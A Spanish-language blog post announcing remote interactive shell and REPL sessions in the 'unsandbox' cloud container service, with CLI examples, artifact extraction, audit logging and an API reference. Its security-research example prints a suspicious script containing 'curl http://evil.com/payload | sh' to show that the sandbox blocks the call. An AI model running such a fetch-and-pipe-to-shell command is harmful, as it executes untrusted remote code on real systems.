Console Playground
← Blog

Sesiones Remotas: Shells Interactivos y REPLs en la Nube

En nuestro post anterior, mostramos cómo teletransportar archivos hacia sandboxes. ¿Pero qué pasa con obtener datos fuera? ¿Y qué pasa si necesitas más que una ejecución única - qué pasa si necesitas una sesión interactiva real?

Hoy presentamos Sesiones Remotas - shells interactivos persistentes que se ejecutan dentro de contenedores unsandbox. Piensa en SSH hacia una VM en la nube, pero efímera, aislada y con auditoría integrada.

La Evolución: De Execute a Session

Nuestra API original era simple: enviar código, obtener salida.

POST /execute → { stdout, stderr, exit_code }

Esto funciona genial para automatización, pero los desarrolladores querían más:

  • “¿Puedo explorar interactivamente?”
  • “¿Puedo instalar paquetes durante la sesión?”
  • “¿Puedo usar vim para editar archivos?”
  • “¿Puedo obtener un REPL de Python en lugar de bash?”
  • “¿Puedo exportar archivos que creé?”

La respuesta a todas estas preguntas ahora es .

La Teletransportación Funciona en Ambas Direcciones

¿Recuerdas la teletransportación de archivos? Los archivos van hacia los sandboxes vía /tmp/input/. Ahora pueden salir vía /tmp/artifacts/.

┌─────────────────────────────────────────────────────────────────┐
│                        Your Machine                              │
└─────────────────────────────────────────────────────────────────┘
          │                                       ▲
          │ un session                            │ Artifacts
          │ un script.py -f data.csv              │ (on exit)
          ▼                                       │
┌─────────────────────────────────────────────────────────────────┐
│                     unsandbox Container                          │
│                                                                  │
│   /tmp/input/          Your Code           /tmp/artifacts/       │
│   ├─ data.csv    ───►  Processes    ───►   ├─ results.csv       │
│   └─ config.json       Files               ├─ model.pkl         │
│                                            └─ report.pdf        │
└─────────────────────────────────────────────────────────────────┘

Teletransportación bidireccional:

  1. Entrada - Los archivos que envías llegan a /tmp/input/
  2. Salida - Los archivos que creas en /tmp/artifacts/ regresan a ti

El CLI un: Tu Portal a Sandboxes Remotos

Construimos un CLI nativo que hace que la ejecución remota se sienta local:

Ejecutar un Script

# Ejecutar un script de Python
un script.py

# Con archivos de entrada (teletransportados)
un -f data.csv -f config.json process.py

# Obtener artefactos compilados de vuelta
un -a -o ./bin main.c

La bandera -a le dice a unsandbox que recolecte cualquier cosa que pongas en /tmp/artifacts/ y la envíe de vuelta. Perfecto para:

  • Binarios compilados de C/Rust/Go
  • Reportes generados (PDF, CSV)
  • Modelos ML entrenados
  • Imágenes procesadas

Sesiones Interactivas

# Iniciar una sesión bash interactiva
un session

# Elige tu shell
un session --shell zsh
un session --shell fish

# O salta directamente a un REPL
un session --shell python3
un session --shell node
un session --shell julia

Lo que obtienes:

  • PTY completo con colores y posicionamiento de cursor
  • Autocompletado con Tab
  • Historial (las teclas de flecha funcionan)
  • Soporte de redimensionamiento (vim/nano simplemente funcionan)
  • tmux por debajo (las sesiones persisten a través de desconexiones)

Shells y REPLs Disponibles

Soportamos más de 30 shells y REPLs:

Shells Tradicionales:

bash, dash, sh, zsh, fish, ksh, tcsh, csh, elvish, xonsh, ash

REPLs de Lenguajes:

python3, bpython, ipython     # Python
node                          # JavaScript
ruby, irb                     # Ruby
lua                           # Lua
php                           # PHP
perl                          # Perl
guile, scheme                 # Scheme
ghci                          # Haskell
erl, iex                      # Erlang/Elixir
sbcl, clisp                   # Common Lisp
r                             # R
julia                         # Julia
clojure                       # Clojure

Ejemplo: REPL de Python en la nube

$ un session --shell python3
Connecting to unsandbox... done
>>> import numpy as np
>>> np.random.seed(42)
>>> np.random.randn(3, 3)
array([[ 0.49671415, -0.1382643 ,  0.64768854],
       [ 1.52302986, -0.23415337, -0.23413696],
       [ 1.57921282,  0.76743473, -0.46947439]])
>>> exit()
Session ended.

Persistencia de Sesión: Tu Elección

Por defecto, las sesiones son efímeras - cuando te desconectas, el contenedor se destruye inmediatamente. Esta es la opción más segura: salida limpia, sin recursos huérfanos.

Pero a veces necesitas persistencia. Usa --tmux o --screen para habilitar soporte de reconexión:

# Por defecto: la sesión termina al desconectar (salida limpia)
$ un session
root@unsb-vm-12345:~$ exit
Session ended.

# Con --tmux: la sesión persiste, puede reconectarse después
$ un session --tmux
root@unsb-vm-12345:~$ # Presiona Ctrl+b luego d para desconectar
Session detached. Reconnect with: un session --attach unsb-vm-12345

Comparación de Comportamiento de Sesión

Modo Al Desconectar Al Salir Caso de Uso
Por defecto Contenedor destruido Contenedor destruido Tareas rápidas, entorno limpio
--tmux Sesión persiste Contenedor destruido Trabajo de larga duración, similar a SSH
--screen Sesión persiste Contenedor destruido Alternativa a tmux

Gestión de Sesiones Persistentes

# Listar todas tus sesiones activas
$ un session --list
Active sessions: 2

SESSION ID                               CONTAINER            SHELL      TTL      STATUS
abc123...                                unsb-vm-56789        bash       58m30s   active
def456...                                unsb-vm-56790        python3    45m12s   active

# Reconectar por nombre de contenedor (más fácil de recordar)
$ un session --attach unsb-vm-56789
Reconnecting to session abc123... done
root@unsb-vm-56789:~$ echo "still here!"
still here!

# O terminar una sesión remotamente
$ un session --kill unsb-vm-56789
Terminating session abc123... done
Session terminated successfully

Desconectarse de tmux/screen:

  • tmux: Presiona Ctrl+b luego d
  • screen: Presiona Ctrl+a luego d

Importante: Si estás ejecutando un dentro de una sesión tmux local, usa --screen en su lugar para evitar conflictos de atajos de teclado.

Extracción de Artefactos: Obtén Tus Datos

Todo lo que pongas en /tmp/artifacts/ se recolecta cuando la sesión termina:

$ un session -a -o ./outputs
Connecting to unsandbox... done
root@sandbox:~$ python3 -c "
import json
with open('/tmp/artifacts/results.json', 'w') as f:
    json.dump({'answer': 42}, f)
"
root@sandbox:~$ echo "hello" > /tmp/artifacts/notes.txt
root@sandbox:~$ exit
Session ended.
Artifact saved: results-sandbox-abc123.json (16 bytes)
Artifact saved: notes-sandbox-abc123.txt (6 bytes)

Características de artefactos:

  • Recolectados automáticamente al finalizar la sesión
  • Con sufijo del nombre del contenedor (sin sobrescritura entre sesiones)
  • Funciona con archivos binarios (imágenes, binarios, archivos)
  • Archivos vacíos soportados (para archivos de bandera)

Auditoría: Grabar Todo

Para cumplimiento, depuración o simplemente curiosidad, habilita la grabación completa de sesión:

$ un session --audit -o ./logs
Connecting to unsandbox... done
root@sandbox:~$ vim test.py   # Sesión completa de vim grabada
root@sandbox:~$ python3 test.py
Hello, world!
root@sandbox:~$ exit
Session ended.
Artifact saved: session.log-sandbox-abc123.gz (45678 bytes)
Artifact saved: bash_history-sandbox-abc123 (234 bytes)
Tip: Replay session with: zcat session.log*.gz | less -R

Lo que se graba:

Modo Lo Que Se Captura Tamaño
--audit en creación E/S de terminal completa (cada tecla, cada salida) ~1-5MB/sesión
--audit en terminación Solo bash_history (solo comandos) ~1KB
Ambos Todo Ambos archivos

El session.log contiene:

  • Todos los caracteres enviados a la terminal (incluyendo códigos de escape)
  • Sesiones completas de vim/nano con movimientos de cursor
  • Salida interactiva de Python/Node
  • Colores, formato, todo

Reproducir con:

# Ver la grabación
zcat session.log-sandbox-abc123.gz | less -R

# O usa scriptreplay para reproducción en tiempo real (si se capturó el timing)
scriptreplay -t timing.log -s session.log

Seguridad: Mismo Modelo Zero-Trust

Las sesiones mantienen todas nuestras garantías de seguridad:

Aislamiento de red:

root@sandbox:~$ curl google.com
curl: (6) Could not resolve host: google.com
root@sandbox:~$ ping 8.8.8.8
ping: connect: Network is unreachable

A menos que solicites explícitamente acceso a la red:

un session -n semitrusted   # Habilita red saliente

Efímero por diseño:

  • Contenedor destruido al exit
  • Sin persistencia entre sesiones
  • Cada sesión está completamente aislada

Límites de recursos:

  • Memoria: Limitada por contenedor
  • CPU: Programación de cuota justa
  • Disco: tmpfs con límites de tamaño
  • Tiempo: Limpieza automática después de tiempo de inactividad

Referencia API

Crear una Sesión

POST /sessions
{
  "network_mode": "zerotrust",  # or "semitrusted"
  "ttl": 3600,                  # seconds (max 86400)
  "shell": "bash",              # see supported list
  "audit": true,                # enable session recording
  "multiplexer": "tmux"         # or "screen", or omit for none
}

Response:
{
  "session_id": "abc123...",
  "container_name": "unsb-vm-12345",
  "multiplexer": "tmux",
  "websocket_url": "/sessions/abc123/shell"
}

Comportamiento del multiplexor:

  • Omitido/null: La sesión termina inmediatamente al desconectar WebSocket
  • “tmux”: La sesión persiste vía tmux, reconectar con el mismo endpoint WebSocket
  • “screen”: La sesión persiste vía GNU screen, reconectar con el mismo endpoint WebSocket

Conectar vía WebSocket

WSS /sessions/:id/shell

Binary frames → stdin
Binary frames ← stdout
JSON frames ← control (ready, exit, error)

Terminar y Obtener Artefactos

DELETE /sessions/:id?audit=1

Response:
{
  "success": true,
  "artifacts": [
    {"filename": "results.json", "content_base64": "..."},
    {"filename": "session.log.gz", "content_base64": "..."}
  ]
}

Casos de Uso del Mundo Real

1. Sesiones de Codificación de Agentes IA

Dale a tu agente IA un entorno persistente:

# Agent creates session
session = unsandbox.create_session(shell="python3")

# Agent works interactively
session.send("import pandas as pd\n")
session.send("df = pd.read_csv('/tmp/input/data.csv')\n")
session.send("df.to_csv('/tmp/artifacts/processed.csv')\n")

# Get results
artifacts = session.terminate(audit=True)
# → processed.csv + session.log.gz for review

2. Entorno de Desarrollo Remoto

¿Necesitas un entorno limpio para pruebas?

# Iniciar sesión con red para instalación de paquetes
un session -n semitrusted --shell bash

# Instala lo que necesites
root@sandbox:~$ pip install pytorch transformers
root@sandbox:~$ npm install -g typescript

# Haz tu trabajo
root@sandbox:~$ python train.py
root@sandbox:~$ cp model.pt /tmp/artifacts/

# Sal y obtén tu modelo
root@sandbox:~$ exit
Artifact saved: model-sandbox-xyz.pt (150MB)

3. Investigación de Seguridad

Analiza scripts sospechosos de forma segura:

un session --audit -o ./analysis
root@sandbox:~$ cat /tmp/input/suspicious.sh
#!/bin/bash
curl http://evil.com/payload | sh  # Can't reach evil.com!

root@sandbox:~$ bash /tmp/input/suspicious.sh
curl: (6) Could not resolve host: evil.com

root@sandbox:~$ exit
# Full session recorded for analysis

4. Enseñanza y Tutoriales

Los estudiantes obtienen sus propios entornos aislados:

# El estudiante ejecuta
un session --shell python3

>>> # Follow along with the tutorial
>>> import matplotlib.pyplot as plt
>>> plt.plot([1, 2, 3], [1, 4, 9])
>>> plt.savefig('/tmp/artifacts/plot.png')
>>> exit()

# El estudiante obtiene su gráfico
Artifact saved: plot-sandbox-xyz.png (12KB)

Referencia Rápida del CLI

# Ejecutar scripts
un script.py                       # Execute Python script
un -e DEBUG=1 script.py            # With environment variable
un -f data.csv process.py          # With input file
un -a -o ./bin main.c              # Save compiled artifacts

# Sesiones interactivas
un session                         # Bash shell (terminates on disconnect)
un session --tmux                  # Bash with tmux (can reconnect)
un session --screen                # Bash with screen (can reconnect)
un session --shell python3         # Python REPL
un session --shell node --tmux     # Node.js REPL with reconnect
un session -n semitrusted          # Session with network access

# Gestión de sesiones
un session --list                  # List active sessions
un session --attach unsb-vm-12345  # Reconnect by container name
un session --kill unsb-vm-12345    # Terminate a session

# Auditoría y artefactos
un session --audit -o ./logs       # Record session for auditing
un session -a -o ./out             # Save /tmp/artifacts/ to ./out

¿Qué Sigue?

Estamos trabajando en:

  • Compartir sesiones - Múltiples usuarios en la misma sesión
  • Almacenamiento persistente - Montajes de volumen opcionales
  • Acceso a GPU - Contenedores habilitados para CUDA
  • Imágenes personalizadas - Trae tu propio contenedor

Pruébalo Ahora

  1. Obtén el CLI:

    # Download from releases or build from source
    curl -L https://unsandbox.com/cli/un -o un
    chmod +x un
  2. Configura tu clave API:

    export UNSANDBOX_API_KEY=your_key_here
  3. Inicia una sesión:

    un session --shell python3

Bienvenido a tu sandbox en la nube. ¿Qué vas a construir?